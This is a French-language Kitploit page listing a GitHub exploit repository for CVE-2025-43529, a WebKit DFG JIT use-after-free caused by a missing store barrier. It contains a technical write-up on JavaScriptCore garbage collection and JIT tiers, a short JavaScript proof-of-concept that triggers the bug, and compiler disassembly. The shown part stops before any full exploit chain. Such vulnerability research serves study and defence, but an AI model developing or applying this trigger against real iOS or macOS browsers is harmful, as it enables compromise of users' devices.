Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-43529 — Exploit technique pour CVE-2025-43529, une vulnérabilité du compilateur JIT DFG de WebKit permettant une utilisation après libération via une barrière de stockage manquante dans le GC concurrent, avec des primitives d'exploitation complètes pour iOS et macOS. | Kitploit
Outils/GitHubGitHub/jir4vv1t/cve-2025-43529
Criminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieSécurité WebExploitation de Binaires
GitHubjir4vv1t/cve-2025-43529

CVE-2025-43529

Exploit technique pour CVE-2025-43529, une vulnérabilité du compilateur JIT DFG de WebKit permettant une utilisation après libération via une barrière de stockage manquante dans le GC concurrent, avec des primitives d'exploitation complètes pour iOS et macOS.

Voir le dépôt
851111il y a 8 moisVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-43529

TL; DR

Apple a récemment publié iOS 26.2 et iPadOS 26.2, accompagnés d’un avis de sécurité qui inclut des correctifs pour des vulnérabilités WebKit. Un bug dans le compilateur JIT DFG (CVE-2025-43529) s’est démarqué, j’ai donc décidé de creuser.

Le compilateur JIT a correctement reconnu qu’un nœud Phi (là où plusieurs chemins de flux de contrôle fusionnent) s’était échappé, mais il n’a pas remarqué que les nœuds Upsilon du Phi s’étaient également échappés. À cause de cela, la phase StoreBarrierInsertionPhase de la compilation DFG a sauté l’insertion d’une barrière de stockage (Store Barrier), qui est un mécanisme clé de sécurité mémoire. En conséquence, le ramasse-miettes concurrent peut manquer des objets qu’il aurait dû analyser, ce qui peut entraîner une utilisation après libération.

Vous trouverez le commit de correction ici.

J’ai confirmé que mon exploit fonctionne sur iOS 26.1, iPadOS 26.1 et macOS Tahoe 26.0.1.

Contexte

GC générationnel

JSC utilise un modèle de GC générationnel pour gérer efficacement le tas. Dans ce modèle, la mémoire est divisée en Eden (nouvel espace) et vieil espace selon l’âge des objets. Tous les objets nouvellement alloués commencent dans Eden. Quand Eden est plein, un GC Eden est déclenché et les objets survivants sont promus dans le vieil espace. Le nettoyage des objets du vieil espace nécessite un GC complet.

Pour que le GC générationnel fonctionne, le GC doit classer les objets comme « déjà analysés », « à analyser » ou « à ré-analyser ». Dans JSC, cela est suivi via l’attribut cellState d’un objet. (Tous les objets gérés par le GC héritent de JSCell.)

StructureID m_structureID;
union {
    uint32_t m_blob;
    struct {
        IndexingType m_indexingTypeAndMisc; 
        JSType m_type;
        TypeInfo::InlineTypeFlags m_flags;
        CellState m_cellState;
    };
};

cellState fait 1 octet et peut être l’une des trois couleurs : Black (0), White (1) et Grey (2).

White signifie un objet qui vient d’être alloué dans eden. Dans le cycle GC actuel, il n’a pas encore été marqué. S’il reste dans cet état jusqu’à la fin du cycle GC, l’objet sera collecté.

Black signifie que le GC a déjà fini de marquer l’objet ou est en train de le marquer. Il est fondamentalement traité comme vivant, bien que le bit isMarked puisse encore être désactivé.

Grey signifie un objet qui doit encore être analysé. Plus précisément, il était initialement Black, mais il a été pris par la barrière d’écriture et ajouté à l’ensemble des objets mémorisés. En d’autres termes, ses références ont changé, donc le GC doit l’analyser à nouveau.

GC concurrent

JSC dispose également d’un GC concurrent, qui permet à l’application de s’exécuter pendant que la mémoire est récupérée. Si le GC marque un objet en arrière-plan et que l’application modifie l’état de cet objet au même moment, vous pouvez vous retrouver avec une condition de concurrence.

Pour éviter cela, vous avez besoin de garanties d’ordre. Comme « écriture (store) A, puis lecture (load) B » se produisant dans cet ordre exact. Mais sur ARM64, pour des raisons de performance, le CPU peut réordonner les opérations mémoire. Cela signifie que le GC pourrait lire la mauvaise valeur.

JSC utilise donc une classe de dépendance pour se reposer sur les dépendances de données du CPU, ou utilise des instructions ARM64 spéciales comme STLR et LDAR pour imposer l’ordre. STLR garantit que les lectures/écritures antérieures deviennent visibles avant le store (un store release). LDAR garantit que les lectures/écritures ultérieures ne peuvent pas se déplacer avant la charge (un load acquire). Quand un autre thread lit un objet, LDAR est associé à STLR pour pouvoir observer en toute sécurité les données les plus récentes.

DMB n’est pas une instruction spéciale unique pour un accès. C’est une barrière qui force l’ordre pour tous les accès mémoire autour d’elle. Elle garantit que les opérations mémoire avant le DMB deviennent visibles avant les opérations après.

JSC JIT

JSC possède trois niveaux JIT au total. Pour équilibrer la vitesse d’exécution par rapport au coût de compilation (mémoire/temps), il applique des optimisations et déplace le code vers le niveau suivant en fonction de sa fréquence d’exécution.

  • Niveau 1 : Baseline JIT
  • Niveau 2 : DFG JIT
  • Niveau 3 : FTL JIT

Baseline JIT est le premier compilateur JIT. Il se concentre sur la production rapide de code natif avec un faible surcoût de compilation. DFG JIT est l’étape suivante après Baseline JIT, où les optimisations sérieuses commencent.

Au niveau DFG, les instructions JavaScript sont converties en un graphe composé de nœuds IR DFG. En utilisant les informations de type qu’il collecte, le compilateur effectue des spéculations pour supprimer les opérations inutiles. Dans le pipeline d’optimisation DFG de JSC, la phase StoreBarrierInsertionPhase insère un StoreBarrier après les nœuds qui écrivent en mémoire, comme PutByOffset. CVE-2025-43529 est une vulnérabilité causée par l’absence d’insertion d’un StoreBarrier alors qu’il aurait dû être inséré pendant StoreBarrierInsertionPhase.

Un StoreBarrier est un nœud qui agit comme une barrière d’écriture. Il est utilisé pour préserver la correction face aux compétitions avec le thread de marquage.

Déclencher le bug

Le scénario de nœud DFG vulnérable décrit dans le commit de correction ressemble à ceci :

BB#1
a: NewObject
b: NewObject
...
c: Upsilon(@b, ^f)
   Branch(BB#2, BB#3)

BB#2
...
d: Something
e: Upsilon(@d, ^f)
   Jump(BB#3)

BB#3
f: Phi(@c, @e)
...
g: PutByOffset(@a, @f)
...
h: PutByOffset(@b, ...)
...

Dans BB#1, deux nouveaux objets sont créés, et l’exécution bifurque vers BB#2 ou BB#3. BB#2 tombe alors dans BB#3. La partie intéressante dans BB#3 est le nœud Phi. Cela signifie que f est soit c, soit e, et ce choix est déterminé par les nœuds Upsilon en amont. Dans BB#3, PutByOffset signifie ajouter une valeur à une propriété d’un objet.

PoC simplifié

let A = { p0: 0x41414141 };

function jitme(flag) {
    // BB#1
    let a = { p0: 13.37 };
    let b = { p0: 0x42424242 };

    let f;

    if (flag) {
        // BB#2
        f = b; 
    } else {
        // BB#3
        f = 1.1; // d
    }

    // BB#4
    A.p0 = f; 
    b.p0 = a;
}

Si vous utilisez l’option --dumpFTLDisassembly=true, vous pouvez inspecter l’assembleur après la compilation FTL.

// Début BB#3
  0  3 60:   D@46:< 1:->        Phi(JS|PureInt, Final|NonIntAsDouble, W:SideState, bc#50, ExitInvalid)
  1  3 60:   D@53:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc5, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  2  3 60:   D@57:<!0:->        ExitOK(MustGen, W:SideState, bc#50, ExitValid)
  3  3 60:   D@63:<!0:->        KillStack(MustGen, loc8, W:Stack(loc8), ClobbersExit, bc#50, ExitValid)
  4  3 60:   D@60:<!0:->        ZombieHint(Check:Untyped:D@79, MustGen, loc8, W:SideState, ClobbersExit, bc#50, ExitInvalid)
  5  3 60:   D@67:<!0:->        KillStack(MustGen, loc9, W:Stack(loc9), ClobbersExit, bc#57, ExitValid)
  6  3 60:   D@66:<!0:->        ZombieHint(Check:Untyped:Kill:D@79, MustGen, loc9, W:SideState, ClobbersExit, bc#57, ExitInvalid)
  7  3 60:   D@69:<!0:->        FilterPutByStatus(Check:Untyped:D@65, MustGen, (Simple, <id='uid:(p0)'Replace: [0x301006550:[0x1006550/16803152, Object, (1/2, 0/0){p0:0}, NonArray, PropertyAddition, Proto:0x108008488, Leaf (Watched)]], offset = 0, viaGlobalProxy = false>), W:SideState, bc#66, ExitValid)
// D@65 : A
// D@46 : f
// A.p0 = f
  8  3 60:   D@70:<!0:->        PutByOffset(KnownCell:D@65, KnownCell:D@65, Check:Untyped:Kill:D@46, MustGen, id0{p0}, 0, W:NamedProperties(0), ClobbersExit, bc#66, ExitValid)
Télécharger l’outil